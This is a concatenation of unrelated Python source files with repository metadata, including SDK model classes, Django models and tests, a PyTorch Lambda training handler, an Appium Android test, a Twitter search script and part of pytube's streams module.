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# coding: utf-8 import re import six from huaweicloudsdkcore.sdk_response import SdkResponse from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization class ShowRealNamedResponse(SdkResponse): """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ sensitive_list = [] openapi_types = { 'iccid': 'str', 'real_named': 'bool' } attribute_map = { 'iccid': 'iccid', 'real_named': 'real_named' } def __init__(self, iccid=None, real_named=None): """ShowRealNamedResponse - a model defined in huaweicloud sdk""" super(ShowRealNamedResponse, self).__init__() self._iccid = None self._real_named = None self.discriminator = None if iccid is not None: self.iccid = iccid if real_named is not None: self.real_named = real_named @property def iccid(self): """Gets the iccid of this ShowRealNamedResponse. ICCID :return: The iccid of this ShowRealNamedResponse. :rtype: str """ return self._iccid @iccid.setter def iccid(self, iccid): """Sets the iccid of this ShowRealNamedResponse. ICCID :param iccid: The iccid of this ShowRealNamedResponse. :type: str """ self._iccid = iccid @property def real_named(self): """Gets the real_named of this ShowRealNamedResponse. 是否已实名认证: true表示是，false表示否。 :return: The real_named of this ShowRealNamedResponse. :rtype: bool """ return self._real_named @real_named.setter def real_named(self, real_named): """Sets the real_named of this ShowRealNamedResponse. 是否已实名认证: true表示是，false表示否。 :param real_named: The real_named of this ShowRealNamedResponse. :type: bool """ self._real_named = real_named def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.openapi_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: if attr in self.sensitive_list: result[attr] = "****" else: result[attr] = value return result def to_str(self): """Returns the string representation of the model""" import simplejson as json if six.PY2: import sys reload(sys) sys.setdefaultencoding("utf-8") return json.dumps(sanitize_for_serialization(self), ensure_ascii=False) def __repr__(self): """For `print`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, ShowRealNamedResponse): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other

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hwcloudsdk@huawei.com

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/backup/user_285/ch34_2019_06_03_00_25_27_762087.py

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gabriellaec/desoft-analise-exercicios

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deposito= float(input("depósito inicial: ")) taxa= float(input("taxa de juros: ")) total=0 mes=1 contador=0 while contador<=24: mes+=deposito*(1+taxa) deposito=mes print(mes, '.2f') contador+=1 total+=deposito*taxa print(total, '.2f')

[ "you@example.com" ]

you@example.com

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from a10sdk.common.A10BaseClass import A10BaseClass class RateLimit(A10BaseClass): """ :param maxPktNum: {"description": "Max number of packets", "format": "number", "default": 10000, "optional": true, "maximum": 100000, "minimum": 1000, "type": "number"} :param rl_type: {"optional": true, "enum": ["ctrl"], "type": "string", "description": "'ctrl': The max number of packets that can be sent to kernel in 100ms; ", "format": "enum"} :param uuid: {"description": "uuid of the object", "format": "string", "minLength": 1, "modify-not-allowed": 1, "optional": true, "maxLength": 64, "type": "string"} :param DeviceProxy: The device proxy for REST operations and session handling. Refer to `common/device_proxy.py` Class Description:: Rate limit configuration. Class rate-limit supports CRUD Operations and inherits from `common/A10BaseClass`. This class is the `"PARENT"` class for this module.` URL for this object:: `https://<Hostname|Ip address>//axapi/v3/rate-limit`. """ def __init__(self, **kwargs): self.ERROR_MSG = "" self.required=[] self.b_key = "rate-limit" self.a10_url="/axapi/v3/rate-limit" self.DeviceProxy = "" self.maxPktNum = "" self.rl_type = "" self.uuid = "" for keys, value in kwargs.items(): setattr(self,keys, value)

[ "doug@parksidesoftware.com" ]

doug@parksidesoftware.com

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/Pollapp/models.py

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risification/onlinde_test

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2023-03-14T08:24:53.574738

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from django.db import models from datetime import date # Create your models here. class Poll(models.Model): name = models.CharField(max_length=30) date = models.DateField(auto_now_add=True) points = models.IntegerField(default=0) class Question(models.Model): poll = models.ForeignKey(Poll, on_delete=models.CASCADE) title = models.CharField(max_length=50) true_answer = models.CharField(max_length=30) class ChoiceAnsw(models.Model): question = models.ForeignKey(Question, on_delete=models.CASCADE) choice = models.CharField(max_length=40) class Answer(models.Model): question = models.ForeignKey(Question, on_delete=models.CASCADE) answer = models.CharField(max_length=30)

[ "sultangaziev01@bk.ru" ]

sultangaziev01@bk.ru

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/PythonLearningDemo/python_repos.py

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[]

no_license

JoyUCUU/QA

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refs/heads/master

2021-01-18T12:54:46.219302

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import requests import requests import pygal from pygal.style import LightColorizedStyle as LCS,LightenStyle as LS #执行API调用并存储相应 url = 'https://api.github.com/search/repositories?q=language:python&sort=stars' r = requests.get(url) print("Status Code: " ,r.status_code) #将API的响应存储到一个变量中 response_dict = r.json() print("Total repositories:",response_dict['total_count']) #探索有关仓库的信息 repo_dicts = response_dict['items'] print("Repositories returned:",len(repo_dicts)) names,plot_dicts = [],[] for repo_dict in repo_dicts: names.append(repo_dict['name']) plot_dict = dict(value=repo_dict['stargazers_count'], xlink=repo_dict['html_url'], label=repo_dict['description']) plot_dicts.append(plot_dict) # names,stars = [],[] # for repo_dict in repo_dicts: # names.append(repo_dict['name']) # stars.append(repo_dict['stargazers_count']) #可视化 my_style = LS('#333366',base_style=LCS) chart = pygal.Bar(style = my_style,x_label_rotation = 45,show_legend = False) chart.title = "Most-starred Python Project on GitHub" chart.x_labels = names chart.add('',plot_dicts) chart.render_to_file('python_repos1.svg') #研究第一个仓库 #repo_dict = repo_dicts[0] # for repo_dict in repo_dicts: # print('\nName:',repo_dict['name']) # print('Owner:',repo_dict['owner']['login']) # print('Stars:',repo_dict['stargazers_count']) # print('Repository',repo_dict['html_url']) # print('Description',repo_dict['description'])

[ "your_email@youremail.com" ]

your_email@youremail.com

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/saleor/graphql/tax/tests/queries/test_tax_configuration.py

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jonserna/saleor

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refs/heads/master

2023-06-25T17:25:17.459739

2023-06-19T14:05:41

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import graphene from saleor.tax.models import TaxConfiguration from ....tests.utils import assert_no_permission, get_graphql_content from ..fragments import TAX_CONFIGURATION_FRAGMENT QUERY = ( """ query TaxConfiguration($id: ID!) { taxConfiguration(id: $id) { ...TaxConfiguration } } """ + TAX_CONFIGURATION_FRAGMENT ) def _test_field_resolvers(tax_configuration: TaxConfiguration, data: dict): country_exceptions = tax_configuration.country_exceptions.all() country_exception = country_exceptions[0] assert data["id"] == graphene.Node.to_global_id( "TaxConfiguration", tax_configuration.pk ) assert data["chargeTaxes"] == tax_configuration.charge_taxes assert data["displayGrossPrices"] == tax_configuration.display_gross_prices assert data["pricesEnteredWithTax"] == tax_configuration.prices_entered_with_tax assert len(data["countries"]) == len(country_exceptions) assert data["countries"][0]["country"]["code"] == country_exception.country.code assert data["countries"][0]["chargeTaxes"] == country_exception.charge_taxes assert ( data["countries"][0]["displayGrossPrices"] == country_exception.display_gross_prices ) def test_tax_configuration_query_no_permissions(channel_USD, user_api_client): # given id = graphene.Node.to_global_id( "TaxConfiguration", channel_USD.tax_configuration.pk ) variables = {"id": id} # when response = user_api_client.post_graphql(QUERY, variables, permissions=[]) # then assert_no_permission(response) def test_tax_configuration_query_staff_user(channel_USD, staff_api_client): # given id = graphene.Node.to_global_id( "TaxConfiguration", channel_USD.tax_configuration.pk ) variables = {"id": id} # when response = staff_api_client.post_graphql(QUERY, variables) # then content = get_graphql_content(response) _test_field_resolvers( channel_USD.tax_configuration, content["data"]["taxConfiguration"] ) def test_tax_configuration_query_app(channel_USD, app_api_client): # given id = graphene.Node.to_global_id( "TaxConfiguration", channel_USD.tax_configuration.pk ) variables = {"id": id} # when response = app_api_client.post_graphql(QUERY, variables) # then content = get_graphql_content(response) _test_field_resolvers( channel_USD.tax_configuration, content["data"]["taxConfiguration"] ) TAX_CONFIGURATION_PRIVATE_METADATA_QUERY = """ query TaxConfiguration($id: ID!) { taxConfiguration(id: $id) { id privateMetadata { key value } } } """ def test_tax_class_private_metadata_requires_manage_taxes_app( app_api_client, channel_USD, permission_manage_taxes ): # given id = graphene.Node.to_global_id( "TaxConfiguration", channel_USD.tax_configuration.pk ) variables = {"id": id} # when response = app_api_client.post_graphql( TAX_CONFIGURATION_PRIVATE_METADATA_QUERY, variables, permissions=[permission_manage_taxes], ) # then content = get_graphql_content(response) data = content["data"]["taxConfiguration"] assert data["id"] == graphene.Node.to_global_id( "TaxConfiguration", channel_USD.tax_configuration.pk ) assert data["privateMetadata"]

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/django-cielo-exemplo/apps/carrinho/cart.py

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# -*- coding: utf-8 -*- import datetime import models from django.utils.formats import number_format from apps.cart import Cart as Cart_ from apps.cart.models import Cart, Item class CustomCart(Cart_): def add(self, product, size, quantity=1): try: item = models.Item.objects.get( cart=self.cart, product=product, size=size, ) item.quantity += quantity item.save() except models.Item.DoesNotExist: item = models.Item() item.cart = self.cart item.product = product item.quantity = quantity item.size = size if product.em_promocao: item.unity_price = product.preco_promocao else: item.unity_price = produto.preco item.save() def verificar_quantidade(self,produto,tamanho): try: item = models.Item.objects.get(carrinho=self.carrinho,produto=produto,tamanho=tamanho) return item.quantidade except: return 0 def preco_total(self): total = 0 for item in models.Item.objects.select_related().filter(carrinho=self.carrinho): total += item.preco_total return total def preco_total_formatado(self): total = 0 for item in models.Item.objects.select_related().filter(carrinho=self.carrinho): total += item.preco_total return number_format(total,2) def peso_total(self): total = 0 for item in models.Item.objects.select_related().filter(carrinho=self.carrinho): total += item.product.peso * item.quantity return total def quantidade(self): quantidade = len(self.cart.item_set.all())

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import os import time import math import numpy as np import pickle import json import torch from torch.autograd import Variable import torch.nn.functional as F import boto3 from utils.constants import Prefix, MLModel, Optimization, Synchronization from storage import S3Storage from communicator import S3Communicator from storage import DynamoTable from storage.dynamo import dynamo_operator from model import deep_models from utils.metric import Accuracy, Average def handler(event, context): start_time = time.time() # dataset setting train_file = event['train_file'] test_file = event['test_file'] data_bucket = event['data_bucket'] n_features = event['n_features'] n_classes = event['n_classes'] n_workers = event['n_workers'] worker_index = event['worker_index'] tmp_bucket = event['tmp_bucket'] merged_bucket = event['merged_bucket'] cp_bucket = event['cp_bucket'] # training setting model_name = event['model'] optim = event['optim'] sync_mode = event['sync_mode'] assert model_name.lower() in MLModel.Deep_Models assert optim.lower() in Optimization.All assert sync_mode.lower() in Synchronization.All # hyper-parameter learning_rate = event['lr'] batch_size = event['batch_size'] n_epochs = event['n_epochs'] start_epoch = event['start_epoch'] run_epochs = event['run_epochs'] function_name = event['function_name'] print('data bucket = {}'.format(data_bucket)) print("train file = {}".format(train_file)) print("test file = {}".format(test_file)) print('number of workers = {}'.format(n_workers)) print('worker index = {}'.format(worker_index)) print('model = {}'.format(model_name)) print('optimization = {}'.format(optim)) print('sync mode = {}'.format(sync_mode)) print('start epoch = {}'.format(start_epoch)) print('run epochs = {}'.format(run_epochs)) print("Run function {}, round: {}/{}, epoch: {}/{} to {}/{}" .format(function_name, int(start_epoch/run_epochs) + 1, math.ceil(n_epochs / run_epochs), start_epoch + 1, n_epochs, start_epoch + run_epochs, n_epochs)) storage = S3Storage() communicator = S3Communicator(storage, tmp_bucket, merged_bucket, n_workers, worker_index) # download file from s3 local_dir = "/tmp" read_start = time.time() storage.download(data_bucket, train_file, os.path.join(local_dir, train_file)) storage.download(data_bucket, test_file, os.path.join(local_dir, test_file)) print("download file from s3 cost {} s".format(time.time() - read_start)) train_set = torch.load(os.path.join(local_dir, train_file)) test_set = torch.load(os.path.join(local_dir, test_file)) train_loader = torch.utils.data.DataLoader(train_set, batch_size=batch_size, shuffle=True) test_loader = torch.utils.data.DataLoader(test_set, batch_size=100, shuffle=False) classes = ('plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck') print("read data cost {} s".format(time.time() - read_start)) random_seed = 100 torch.manual_seed(random_seed) device = 'cpu' net = deep_models.get_models(model_name).to(device) # Loss and Optimizer # Softmax is internally computed. # Set parameters to be updated. optimizer = torch.optim.SGD(net.parameters(), lr=learning_rate) # load checkpoint model if it is not the first round if start_epoch != 0: checked_file = 'checkpoint_{}.pt'.format(start_epoch - 1) storage.download(cp_bucket, checked_file, os.path.join(local_dir, checked_file)) checkpoint_model = torch.load(os.path.join(local_dir, checked_file)) net.load_state_dict(checkpoint_model['model_state_dict']) optimizer.load_state_dict(checkpoint_model['optimizer_state_dict']) print("load checkpoint model at epoch {}".format(start_epoch - 1)) for epoch in range(start_epoch, min(start_epoch + run_epochs, n_epochs)): train_loss, train_acc = train_one_epoch(epoch, net, train_loader, optimizer, worker_index, communicator, optim, sync_mode) test_loss, test_acc = test(epoch, net, test_loader) print('Epoch: {}/{},'.format(epoch + 1, n_epochs), 'train loss: {}'.format(train_loss), 'train acc: {},'.format(train_acc), 'test loss: {}'.format(test_loss), 'test acc: {}.'.format(test_acc), ) if worker_index == 0: storage.clear(tmp_bucket) storage.clear(merged_bucket) # training is not finished yet, invoke next round if epoch < n_epochs - 1: checkpoint_model = { 'epoch': epoch, 'model_state_dict': net.state_dict(), 'optimizer_state_dict': optimizer.state_dict(), 'loss': train_loss.average } checked_file = 'checkpoint_{}.pt'.format(epoch) if worker_index == 0: torch.save(checkpoint_model, os.path.join(local_dir, checked_file)) storage.upload_file(cp_bucket, checked_file, os.path.join(local_dir, checked_file)) print("checkpoint model at epoch {} saved!".format(epoch)) print("Invoking the next round of functions. round: {}/{}, start epoch: {}, run epoch: {}" .format(int((epoch + 1) / run_epochs) + 1, math.ceil(n_epochs / run_epochs), epoch + 1, run_epochs)) lambda_client = boto3.client('lambda') payload = { 'train_file': event['train_file'], 'test_file': event['test_file'], 'data_bucket': event['data_bucket'], 'n_features': event['n_features'], 'n_classes': event['n_classes'], 'n_workers': event['n_workers'], 'worker_index': event['worker_index'], 'tmp_bucket': event['tmp_bucket'], 'merged_bucket': event['merged_bucket'], 'cp_bucket': event['cp_bucket'], 'model': event['model'], 'optim': event['optim'], 'sync_mode': event['sync_mode'], 'lr': event['lr'], 'batch_size': event['batch_size'], 'n_epochs': event['n_epochs'], 'start_epoch': epoch + 1, 'run_epochs': event['run_epochs'], 'function_name': event['function_name'] } lambda_client.invoke(FunctionName=function_name, InvocationType='Event', Payload=json.dumps(payload)) elif worker_index == 0: # write record to dynamodb table recorder_table_name = "recoder" dynamo_client = dynamo_operator.get_client() recorder_tb = DynamoTable(dynamo_client, recorder_table_name) recorder_tb.save("{},{}".format(test_loss, test_acc), learning_rate, "learning_rate") end_time = time.time() print("Elapsed time = {} s".format(end_time - start_time)) # Train def train_one_epoch(epoch, net, train_loader, optimizer, worker_index, communicator, optim, sync_mode): assert isinstance(communicator, S3Communicator) net.train() epoch_start = time.time() epoch_cal_time = 0 epoch_comm_time = 0 train_acc = Accuracy() train_loss = Average() for batch_idx, (inputs, targets) in enumerate(train_loader): batch_start = time.time() outputs = net(inputs) loss = F.cross_entropy(outputs, targets) optimizer.zero_grad() loss.backward() batch_cal_time = time.time() - batch_start batch_comm_time = 0 if optim == "grad_avg": if sync_mode == "reduce" or sync_mode == "reduce_scatter": grads = [param.grad.data.numpy() for param in net.parameters()] batch_cal_time = time.time() - batch_start epoch_cal_time += batch_cal_time batch_comm_start = time.time() postfix = "{}_{}".format(epoch, batch_idx) if sync_mode == "reduce": merged_grads = communicator.reduce_batch_nn(pickle.dumps(grads), postfix) elif sync_mode == "reduce_scatter": merged_grads = communicator.reduce_batch_nn(pickle.dumps(grads), postfix) for layer_index, param in enumerate(net.parameters()): param.grad.data = torch.from_numpy(merged_grads[layer_index]) batch_comm_time = time.time() - batch_comm_start print("one {} round cost {} s".format(sync_mode, batch_comm_time)) epoch_comm_time += batch_comm_time elif sync_mode == "async": # async does step before sync optimizer.step() batch_cal_time = time.time() - batch_start epoch_cal_time += batch_cal_time batch_comm_start = time.time() weights = [param.data.numpy() for param in net.parameters()] new_weights = communicator.async_reduce_nn(pickle.dumps(weights), Prefix.w_b_prefix) for layer_index, param in enumerate(net.parameters()): param.data = torch.from_numpy(new_weights[layer_index]) batch_comm_time = time.time() - batch_comm_start print("one {} round cost {} s".format(sync_mode, batch_comm_time)) epoch_comm_time += batch_comm_time # async does step before sync if sync_mode != "async": step_start = time.time() optimizer.step() batch_cal_time += time.time() - step_start epoch_cal_time += batch_cal_time train_acc.update(outputs, targets) train_loss.update(loss.item(), inputs.size(0)) if batch_idx % 10 == 0: print("Epoch: [{}], Batch: [{}], train loss: {}, train acc: {}, batch cost {} s, " "cal cost {} s, comm cost {} s" .format(epoch + 1, batch_idx + 1, train_loss, train_acc, time.time() - batch_start, batch_cal_time, batch_comm_time)) if optim == "model_avg": weights = [param.data.numpy() for param in net.parameters()] epoch_cal_time += time.time() - epoch_start epoch_sync_start = time.time() postfix = str(epoch) if sync_mode == "reduce": merged_weights = communicator.reduce_epoch_nn(pickle.dumps(weights), postfix) elif sync_mode == "reduce_scatter": merged_weights = communicator.reduce_epoch_nn(pickle.dumps(weights), postfix) elif sync_mode == "async": merged_weights = communicator.async_reduce_nn(pickle.dumps(weights), Prefix.w_b_prefix) for layer_index, param in enumerate(net.parameters()): param.data = torch.from_numpy(merged_weights[layer_index]) print("one {} round cost {} s".format(sync_mode, time.time() - epoch_sync_start)) epoch_comm_time += time.time() - epoch_sync_start if worker_index == 0: delete_start = time.time() # model avg delete by epoch if optim == "model_avg" and sync_mode != "async": communicator.delete_expired_epoch(epoch) elif optim == "grad_avg" and sync_mode != "async": communicator.delete_expired_batch(epoch, batch_idx) epoch_comm_time += time.time() - delete_start print("Epoch {} has {} batches, cost {} s, cal time = {} s, comm time = {} s" .format(epoch + 1, batch_idx, time.time() - epoch_start, epoch_cal_time, epoch_comm_time)) return train_loss, train_acc def test(epoch, net, test_loader): # global best_acc net.eval() test_loss = Average() test_acc = Accuracy() with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(test_loader): outputs = net(inputs) loss = F.cross_entropy(outputs, targets) test_loss.update(loss.item(), inputs.size(0)) test_acc.update(outputs, targets) return test_loss, test_acc

[ "blue.jwjiang@gmail.com" ]

blue.jwjiang@gmail.com

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/benchmark/timber/testcase/firstcases/testcase2_014.py

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Prefest2018/Prefest

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2021-12-06T12:46:14

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#coding=utf-8 import os import subprocess import time import traceback from appium import webdriver from appium.webdriver.common.touch_action import TouchAction from selenium.common.exceptions import NoSuchElementException, WebDriverException desired_caps = { 'platformName' : 'Android', 'deviceName' : 'Android Emulator', 'platformVersion' : '4.4', 'appPackage' : 'com.naman14.timber', 'appActivity' : 'com.naman14.timber.activities.MainActivity', 'resetKeyboard' : True, 'androidCoverage' : 'com.naman14.timber/com.naman14.timber.JacocoInstrumentation', 'noReset' : True } def command(cmd, timeout=5): p = subprocess.Popen(cmd, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, shell=True) time.sleep(timeout) p.terminate() return def getElememt(driver, str) : for i in range(0, 5, 1): try: element = driver.find_element_by_android_uiautomator(str) except NoSuchElementException: time.sleep(1) else: return element os.popen("adb shell input tap 50 50") element = driver.find_element_by_android_uiautomator(str) return element def getElememtBack(driver, str1, str2) : for i in range(0, 2, 1): try: element = driver.find_element_by_android_uiautomator(str1) except NoSuchElementException: time.sleep(1) else: return element for i in range(0, 5, 1): try: element = driver.find_element_by_android_uiautomator(str2) except NoSuchElementException: time.sleep(1) else: return element os.popen("adb shell input tap 50 50") element = driver.find_element_by_android_uiautomator(str2) return element def swipe(driver, startxper, startyper, endxper, endyper) : size = driver.get_window_size() width = size["width"] height = size["height"] try: driver.swipe(start_x=int(width * startxper), start_y=int(height * startyper), end_x=int(width * endxper), end_y=int(height * endyper), duration=2000) except WebDriverException: time.sleep(1) driver.swipe(start_x=int(width * startxper), start_y=int(height * startyper), end_x=int(width * endxper), end_y=int(height * endyper), duration=2000) return # testcase014 try : starttime = time.time() driver = webdriver.Remote('http://localhost:4723/wd/hub', desired_caps) driver.press_keycode(4) except Exception, e: print 'FAIL' print 'str(e):\t\t', str(e) print 'repr(e):\t', repr(e) print traceback.format_exc() else: print 'OK' finally: cpackage = driver.current_package endtime = time.time() print 'consumed time:', str(endtime - starttime), 's' command("adb shell am broadcast -a com.example.pkg.END_EMMA --es name \"2_014\"") jacocotime = time.time() print 'jacoco time:', str(jacocotime - endtime), 's' driver.quit() if (cpackage != 'com.naman14.timber'): cpackage = "adb shell am force-stop " + cpackage os.popen(cpackage)

[ "prefest2018@gmail.com" ]

prefest2018@gmail.com

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/.history/tester2_20200322005203.py

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mirfarzam/ArtificialIntelligence-HeuristicAlgorithm-TabuSearch

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2021-03-26T21:16:42.561068

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import os import subprocess import re from datetime import datetime import time from statistics import mean numberOfTests = 1000 tabuIteration = '1000' tabuDuration = '10' numberOfCities = '50' final_solution = [] list_coverage = [] local_minimum = [] print(f"\n\nTest for Tabu Search with this config: \n\tIterations : {tabuIteration} \n\tDuration(Tabu Memory): {tabuDuration} \n\tNumber of Cities: {numberOfCities}") for i in range(0, numberOfTests): process = subprocess.Popen(['./algo_tabou.exe', tabuIteration , tabuDuration, numberOfCities, 'distances_entre_villes_{}.txt'.format(numberOfCities)],stdout=subprocess.PIPE,stderr=subprocess.PIPE) stdout, stderr = process.communicate() result = stdout result = re.sub(r'\s', ' ', str(result)) solution = (re.findall(r'([0-9]{4,7}) km', result))[-1] final_solution.append(int(solution)) coverage = re.findall(r'On est dans un minimum local a l\'iteration ([0-9]+) ->', result) if coverage != []: coverage = int(coverage[0])+ 1 local_minimum.append(int(solution)) else: coverage = int(tabuIteration) number_of_solution_before_coverage = coverage list_coverage.append(coverage) print('best found solution is {} and found in interation {}, number of solutions before coverage : {}'.format(solution, coverage, number_of_solution_before_coverage)) time.sleep( 1 ) print("Summary:") optimum_result = len(list(filter(lambda x: x == 5644, final_solution))) print(f'number of optimum solution found is {optimum_result}, so in {numberOfTests} runs of test we faced {(optimum_result/numberOfTests)*100}% coverage') print(f'in average this test shows that we found the global optimum solution in iteration {mean(list_coverage)}\nand in worst we found it in iteration {max(list_coverage)} \nand in best case in iteration {max(list_coverage)}') print(f'Totally, {sum(list_coverage)} cities visited before finding the global optimum in {numberOfTests} runs of this test\n\n\n') print(f'')

[ "farzam.mirmoeini@gmail.com" ]

farzam.mirmoeini@gmail.com

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/manga_py/providers/mang_as.py

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permissive

manga-py/manga-py

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from sys import stderr from manga_py.provider import Provider from .helpers.std import Std class MangAs(Provider, Std): def get_chapter_index(self) -> str: idx = self.re.search('/manga/[^/]+/([^/]+)', self.chapter).group(1) return idx.replace('.', '-') def get_content(self): return self._get_content('{}/manga/{}') def get_manga_name(self) -> str: return self._get_name('/manga/([^/]+)') def get_chapters(self): return self._elements('.chapter-title-rtl > a') def get_files(self): content = self.http_get(self.chapter) self.http().referer = self.chapter items = self.re.search(r'var\s+pages\s*=\s*(\[.+\])', content) if not items: self.log('Images not found!', file=stderr) return [] n = self.normalize_uri items = self.json.loads(items.group(1)) return [n(i.get('page_image')) for i in items] def prepare_cookies(self): self._base_cookies(self.get_url()) def get_cover(self) -> str: return self._cover_from_content('.boxed > img.img-responsive') def book_meta(self) -> dict: pass main = MangAs

[ "sttv-pc@mail.ru" ]

sttv-pc@mail.ru

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/cap08-numeros/03_random.py

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[]

no_license

frclasso/revisao_Python_modulo1

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#!/usr/bin/env python3 # importando o modulo random import random # random numbers print(random.random()) # imprime um numero entre 0 e 1 decider = random.randrange(2) # 0 OU 1 if decider == 0: print('HEADS') else: print('TAILS') print(f'Decider is:', decider) print("You rolled a " + str(random.randrange(1, 7))) megaSena = random.sample(range(61), 6) # range de 0 a 60, gerando 6 numeros print(megaSena) # random choices possiblePets = ['cat', 'dog', 'fish'] print(random.choice(possiblePets)) cards = ['Jack', 'Queen', 'Ace', 'King'] random.shuffle(cards) print(cards)

[ "frcalsso@yahoo.com.br" ]

frcalsso@yahoo.com.br

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/twi_search_sht_01.py

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[]

no_license

axuaxu/twi-src

cbcfe6891539d568c9ecece0db531984d7552094

3347c7d4ebd94c3399a7427427745fa73fe8463e

refs/heads/master

2021-07-11T09:07:58.013503

2017-10-15T17:15:10

105,077,369

0

null

UTF-8

Python

false

4,568

py

import tweepy from credentials import * import sys #import jsonpickle import os import codecs import datetime import json auth = tweepy.AppAuthHandler(consumer_key, consumer_secret) #auth.set_access_token(access_token, access_token_secret) api = tweepy.API(auth, wait_on_rate_limit=True, wait_on_rate_limit_notify=True) if (not api): print ("Can't Authenticate") sys.exit(-1) def TwiShort(out,shtFile): outF = open(out,'r') sFile = open(shtFile,'w') print shtFile for twi in outF: shtStr = twi._json.retweet_count print shtStr sFile.write(shtStr) def TwiSearch(que,fName,sinceId,max_id): searchQuery = que # this is what we're searching for maxTweets = 10000000 # Some arbitrary large number tweetsPerQry = 100 # this is the max the API permits # We'll store the tweets in a text file. # If results from a specific ID onwards are reqd, set since_id to that ID. # else default to no lower limit, go as far back as API allows # If results only below a specific ID are, set max_id to that ID. # else default to no upper limit, start from the most recent tweet matching the search query. tweetCount = 0 print("Downloading max {0} tweets".format(maxTweets)) with open(fName, 'w') as f: while tweetCount < maxTweets: try: if (max_id <= 0): if (not sinceId): new_tweets = api.search(q=searchQuery, count=tweetsPerQry) else: new_tweets = api.search(q=searchQuery, count=tweetsPerQry, since_id=sinceId) else: if (not sinceId): new_tweets = api.search(q=searchQuery, count=tweetsPerQry, max_id=str(max_id - 1)) else: new_tweets = api.search(q=searchQuery, count=tweetsPerQry, max_id=str(max_id - 1), since_id=sinceId) if not new_tweets: print("No more tweets found") break for tweet in new_tweets: # f.write(jsonpickle.encode(tweet._json, unpicklable=False) + # '\n') f.write(str(tweet._json)+'\n') print "\nid "+str(tweet._json['id']) print "\nretwi "+str(tweet._json['retweet_count']) fav = tweet._json.favorite_count tweetCount += len(new_tweets) print("\nDownloaded {0} tweets".format(tweetCount)) max_id = new_tweets[-1].id except tweepy.TweepError as e: # Just exit if any error print("some error : " + str(e)) break print ("Downloaded {0} tweets, Saved to {1}".format(tweetCount, fName)) logStr = "Downloaded {0} tweets, Saved to {1}".format(tweetCount, fName) return logStr #print "\nshortFile"+shtFile #pass #que = '#georgiaokeeffe' #outName = 'tweets-01.txt' sinceId = None max_id = -1L #TwiSearch(que,outName,sinceId,max_id) now = datetime.datetime.now() timestr = str(now).replace(' ','-').replace(':','-') #print str(now)+'\n'+timestr+'\n'+timestr[:19] twi = "twi_query_list.txt" #fout = codecs.open(out,"w",encoding="utf-8") ftwi = codecs.open(twi,'r',encoding="utf-8") count = 100 cdir = '.\\status-query' srcDown = '.\\status-query-down' logFile = cdir+'\\log-que-'+timestr[:16]+'.txt' logStr = "" #maxid = 9999999999999999999 shtFile="" for que in ftwi: #maxid = getMaxID(que,cdir,srcDown,sinceId,max_id) #print "twi_id:"+twi_id+" maxid:"+str(maxid) out = cdir+'\\que-'+que+'-'+timestr[:16]+'.txt' out = out.replace('\r\n','') print "\ninput: "+ que+"\noutput: "+out logStr = logStr+"\ninput: "+ que+"\noutput: "+out logStr = logStr+TwiSearch(que,out,sinceId,max_id) logF = open(logFile,'w') logF.write(logStr) twi = "twi_query_list.txt" #fout = codecs.open(out,"w",encoding="utf-8") ftwi = codecs.open(twi,'r',encoding="utf-8") for que in ftwi: out = cdir+'\\que-'+que+'-'+timestr[:16]+'.txt' out = out.replace('\r\n','') shtFile = out.replace('que-','sht-que-') #tShort = TwiShort(out,shtFile) #fout = codecs.open(out,"w",encoding="utf-8") #fout.write(tstatus)

[ "axu0110@gmail.com" ]

axu0110@gmail.com

f5eb98bcd90970ce6adcab0d5a97253af6e5eec1

afedbd0af6dff5a4fca8bab92e2a5574d9e541ca

/venv/lib/python3.5/site-packages/pytube/streams.py

bb3d1290a3817b2494579370fb2dd5a988b350ba

[]

no_license

wagolemusa/web_scrapping

d847b71ded82f471f28daed6083667eef450b21d

794d24d1492d8ebeb9ffab16d1b185c6cab33c74

refs/heads/master

2022-12-31T22:31:02.407179

2020-10-21T09:27:39

305,924,696

0

1

null

UTF-8

Python

false

11,621

py

# -*- coding: utf-8 -*- """ This module contains a container for stream manifest data. A container object for the media stream (video only / audio only / video+audio combined). This was referred to as ``Video`` in the legacy pytube version, but has been renamed to accommodate DASH (which serves the audio and video separately). """ from __future__ import absolute_import import io import logging import os import pprint from pytube import extract from pytube import request from pytube.helpers import safe_filename from pytube.itags import get_format_profile logger = logging.getLogger(__name__) class Stream(object): """Container for stream manifest data.""" def __init__(self, stream, player_config_args, monostate): """Construct a :class:`Stream <Stream>`. :param dict stream: The unscrambled data extracted from YouTube. :param dict player_config_args: The data object containing video media data like title and keywords. :param dict monostate: Dictionary of data shared across all instances of :class:`Stream <Stream>`. """ # A dictionary shared between all instances of :class:`Stream <Stream>` # (Borg pattern). self._monostate = monostate self.abr = None # average bitrate (audio streams only) self.fps = None # frames per second (video streams only) self.itag = None # stream format id (youtube nomenclature) self.res = None # resolution (e.g.: 480p, 720p, 1080p) self.url = None # signed download url self._filesize = None # filesize in bytes self.mime_type = None # content identifier (e.g.: video/mp4) self.type = None # the part of the mime before the slash self.subtype = None # the part of the mime after the slash self.codecs = [] # audio/video encoders (e.g.: vp8, mp4a) self.audio_codec = None # audio codec of the stream (e.g.: vorbis) self.video_codec = None # video codec of the stream (e.g.: vp8) # Iterates over the key/values of stream and sets them as class # attributes. This is an anti-pattern and should be removed. self.set_attributes_from_dict(stream) # Additional information about the stream format, such as resolution, # frame rate, and whether the stream is live (HLS) or 3D. self.fmt_profile = get_format_profile(self.itag) # Same as above, except for the format profile attributes. self.set_attributes_from_dict(self.fmt_profile) # The player configuration which contains information like the video # title. # TODO(nficano): this should be moved to the monostate. self.player_config_args = player_config_args # 'video/webm; codecs="vp8, vorbis"' -> 'video/webm', ['vp8', 'vorbis'] self.mime_type, self.codecs = extract.mime_type_codec(self.type) # 'video/webm' -> 'video', 'webm' 